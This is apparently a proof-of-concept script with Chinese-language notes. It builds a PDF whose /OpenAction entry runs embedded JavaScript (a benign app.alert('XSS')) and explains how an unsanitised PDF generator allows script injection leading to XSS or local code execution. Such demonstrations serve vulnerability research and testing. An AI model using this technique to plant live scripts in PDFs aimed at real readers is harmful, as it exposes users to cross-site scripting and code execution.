# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")
PDF 生成器在将用户提供的内容嵌入 PDF 文件之前未对其进行净化处理。攻击者可以注入一个 /OpenAction JavaScript 条目,该条目在文档打开时执行,从而导致跨站脚本攻击(在 Web 查看器中)或本地代码执行(在支持完整 JS 的桌面阅读器中)。
运行生成器:
python generate_pdf_js_inject.py
在支持 JavaScript 的 PDF 阅读器中打开生成的 malicious.pdf;将出现一个警报框。